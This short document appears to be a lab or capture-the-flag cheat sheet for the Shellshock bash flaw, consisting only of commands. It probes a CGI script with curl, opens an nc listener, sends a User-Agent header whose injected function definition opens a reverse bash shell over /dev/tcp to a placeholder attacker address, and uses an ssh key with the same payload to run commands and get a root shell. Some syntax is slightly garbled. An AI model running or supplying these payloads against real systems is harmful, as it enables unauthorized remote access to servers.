target

curl -v http://ip-address/cgi-bin/test/test.cgi

shell-1

nc -lvp 4747

shell-2

curl -H 'User-Agent: () { :; }; /bin/bash -i > & /dev/tcp/your-ip-address/4747 0>&1' curl -v http://ip-address/cgi-bin/test/test.cgi

---

ssh reverse shell

ssh -i noob root@ip -t '() { :; }; id'
ssh -i noob root@ip -t '() { :; }; /bin/bash'